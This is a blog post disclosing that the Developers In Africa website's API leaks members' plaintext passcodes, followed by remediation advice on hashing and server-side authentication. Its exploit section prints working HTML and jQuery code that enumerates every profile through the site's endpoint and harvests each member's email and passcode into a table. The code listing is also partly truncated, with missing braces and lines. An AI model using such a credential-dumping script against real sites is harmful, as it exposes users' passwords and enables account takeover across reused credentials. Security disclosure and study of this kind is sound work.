Michael KwayisiΞ

Hacking DIA for fun and passwords

Twitter · Facebook
It's been quite some time since my last post largely because I have nothing important to write about. So by me publishing this article, I hope the subject proves to be important to you as much as it is to me.A look at Michael Ocansey's Developers In Africa

It's been quite some time since my last post largely because I have nothing important to write about. So by me publishing this article, I hope the subject proves to be important to you as much as it is to me. Besides, it's not any wise for me to spend all of my time hunting for topics to write about; I'm sure there is enough time ahead for that. Before I proceed, allow me to share with you these highly-rated personal tech (as in technical not technology) blogs I recently added to my bookmarks: Eli Bendersky's website, Embedded in Academia (John Regehr), Mechanical Sympathy (Martin Thompson), and great coders code, great reuse (Peteris Krumins).

In this post, I'm going to disclose how to hack the CIA, cough I mean DIA (you wish :D). Last night, I ate a very horrible food (which-that-shall-not-be-named) while watching Van Damme's 2012 thriller "6 Bullets" (a very nice movie by my judgment). Because it was very late, I guess the food didn't get to digest before lying down my bones. So I woke up some few hours later with a very annoying stomach upset. Unable to go back to sleep again, I turned to the Internet (which never disappoints) to check what's happening. Excuse me, am I getting lost? What I'm trying to say is that developersinafrica.com is insecure!

Before I continue, here is the good 'ol disclaimer: "I cannot be held responsible for whatever you do with the information presented herein. Read this article at your own risk." I've already sent an email to Mike informing him about this exploit so we're good to roll. Of course, if the target of this attack were one of those crack-ass corporations, I wouldn't even bother coughing about it but since this one belongs to our very own, let's not take away all the fun we should have.

Architecture—How does the application work?

Developers In Africa (DIA) is a website developed by Michael Ocansey in mid-2012 with the aim of hosting profiles of software developers across Africa. In his own words, he says it's "Africa's biggest online hub of developers and social developer activities". Registration is free so any African developer can join the community by submitting his/her details after which the person's profile will be added to the site's database.

A visitor to the site can search the member profiles by several criteria (name, skill, etc.). The process of querying for the data is handled by a front-end JavaScript script (dia-skripts.js) and a back-end PHP script (com.dia.appmanager.php). The JavaScript script gathers the search parameters and send them over, via AJAX, to the server-side script. The server in turn returns a JSONP response containing the requested data. Since these requests are done via AJAX, no page reloads occur which gives the user (when JavaScript is enabled) a very sleek experience.

The server-side script expects an HTTP GET query string parameter "get", with one of the following as its value: dev, devs, job, jobs, event, events, links, etc. The value "dev" may be used to retrieve the profile of a particular developer, in which case the script also accepts an optional "i" parameter (unique identifier that tells the particular person). However, if the "i" parameter is omitted, then a randomly selected profile is returned. On the other hand, if "devs" is given as the value of the "get" parameter, then a profile summary (identifier, name, and technical skills) of every developer in the data store is returned. The same logic goes for the rest of the combos ("job" and "jobs", "event" and "events", etc.). Pretty nifty, huh? Yep.

Everything seems clean and organized until you decide to take a look at the actual JSONP response, at which point you realize that it's not just what you want to see that the server returns but also several other details including the person's registered password (Mike prefers passcode) in plain text! Perhaps, the reason for such poor decision was to allow verification of the passcode (e.g. when one wants to edit his profile) to be done on the client-side without incurring the overhead of a server round trip. But actually, the cost of doing so is rather more expensive taking into account the security implication.

Exploit—How does one take advantage of the flaw?

"If indeed the passcode is sent to the client in plain text, then one can grab it and use it to edit anyone's profile, right?" Yes, clap for yourself. "OK, that's a little fun. But would that pose any security risk to the person affected?" Yes, because suppose I'm that affected person, anyone can change the "What makes me unique?" portion of my profile to "I'm an idiotic half-witted asshole!" which isn't entirely true. "Well, that wouldn't be too bad. I guess you can live with that." Sure I can. But what about "that guy" whose passcode is the same as the password he uses for his other online accounts? Indeed, many people have adamantly decided to use the same password everywhere despite several warnings from all over. I guess their mammas didn't yell hard enough so I'll try to help: DON'T EVER USE THE SAME PASSWORD MORE THAN ONCE! ANYWHERE!! (That statement is written in English, just in case you missed it.)

Now let's get onto the juicy stuff where we actually exploit the flaw. We're going to make a dump of the contents of the profile data store. What is most important is the email and the passcode combination of each person but let's add some spices to it: id and name. The technologies involved in this demo are HTML and JavaScript (and jQuery). We'll be making an HTTP request to the PHP script (call it API function) and supply a get parameter with the value "devs" to get a profile summary of each developer. Afterwards, we'll retrieve the extended details of each person, by calling the same API function again but this time using "dev" as the value for the "get" parameter and also setting the "i" parameter to the individual's unique identifier we got earlier.

You can download a zip package containing all the files here or you can choose to put the various components together yourself. This is how the HTML looks like:

<!DOCTYPE html>
       <meta http-equiv="content-type" content="text/html; charset=utf8"/>
       <title>Hacking DIA</title>
       <script src="jquery.js"></script>
       <script src="dia.js"></script>
   <body style="font:13px Consolas">
       <h1 style="text-align:center">Hacking DIA</h1>
       <table cellspacing="0" cellpadding="3" width="100%" border="1">
           <tr style="text-align:left;">

You can see from the <head> section of our HTML that we are referencing some JavaScript files: jquery.js (jQuery library to use for our AJAX calls and DOM manipulation; I tested with v1.9.1) and dia.js (our JS code to drive the exploit). Here are the contents of dia.js:

$(document).ready(function() {
   var req, $table = $('table'), timeout = 10000,
       apiUrl = 'http://www.developersinafrica.com/api/com.dia.appmanager.php';
   console.log('Loading profiles...');
   req = $.getJSON(apiUrl + '?callback=?', {
       get: 'devs'
   }).done(function(json) {
       console.log('Got \'em. %d profiles found.', json.devs.length - 1);
       (function adhoc(i) {
           if (i < json.devs.length) {
               console.log('Retrieving %s\'s details...', json.devs[i].name);
               var req = $.getJSON(apiUrl + '?callback=?', {
                   get: 'dev', i: json.devs[i].id
               }).done(function(resp) {
                   if (resp.devs.length > 1) {
                       json.devs[i].email = resp.devs[1].email;
                       json.devs[i].code = resp.devs[1].code;
               }).always(function() {
                   if (!json.devs[i].email) {
                       $table.find('tr:last td').each(function(i) {
                           if (i > 2) // Skip first 3 columns
                               $(this).text('FAILED').css('color', '#f00');
                   adhoc(i + 1);
               setTimeout(function() { req.abort(); }, timeout);
           } else {
               var msg = 'Operation completed. '
                   + (i - 1) + ' profiles retrieved.';
                   $('<td/>').attr('colspan', '5').text(msg)));
   }).fail(function(err) {
       err = 'Error: Dude, mi cyant reach dem server.';
           $('<td/>').attr('colspan', '5').text(err)));
   setTimeout(function() { req.abort(); }, timeout);

Solution—How can the application be secured?

First of all, passwords should always be hashed irrespective of the environment the application is going to run in. Personally, I always hash passwords even if it's a personal project that is forever going to sit on my PC. It must be the standard practice. How on earth can a developer write a whole CRUD application but refuse to hash passwords? Unless of course he/she has evil intentions. It might interest you to know that, there are a couple of other medium-trafficked Ghanaian websites that also store their users' passwords in plain text. It's just wrong! The same goes for native app developers who "hide" their database connection credentials in their apps.

Secondly, login authentication (and all other critical procedures alike) should never be done on the client side. It's fine to use JavaScript to perform noncritical checks like notifying the user of a field that should not be left blank, etc. but that should be all. Disabling some functions of an app, maybe because the user doesn't have sufficient privileges, using JavaScript, is a joke. Always assume your users, too, know how to code (sometimes even better than you) and that whatever you do on the client-side is in plain sight. Also, don't implement any of those silly JS obfuscation methods you hear about on the Internet because they almost always lead to brain corruption, which gives you a false sense of security. After all, who wants your JavaScript code? Maybe Resig.

Thirdly . . . well, that should be all actually. Wait . . . the third and final point goes to all internet users. Please heed the warning that: Thou shalt not use the same password multiple times; for suffering awaits whoever doth. It's just not safe because once one of those sites is compromised, all your other online accounts will be at risk. So does that mean you have to memorize each and every password of your numerous online accounts? Yes, if you can. Even so, gone are the days when Yahoo! used to tell us not to write down our passwords anywhere. I'm tempted to say it's even prudent to keep a log of all your passwords somewhere, so just in case you should die in a plane crash, someone else can carry on with your works.

Remember, it is that which you do not know that should be your worst fear. Ta-ta.

Comments (2)

  1. SmithSmith
    Nov 8, 2014 14:31 GMT

    Can you add a Blackberry template? This page is tricky to read for those of us browsing with cell phones. Otherwise, in the event you can place the RSS link up, that would be good also.

  2. Gray BarryGray Barry
    Nov 22, 2014 07:23 GMT

    An interesting dialogue is worth a comment. I feel that you should write more on this topic. It won't be a taboo subject but typically people are not competent enough to speak on such topics.

Comments are currently closed on this content.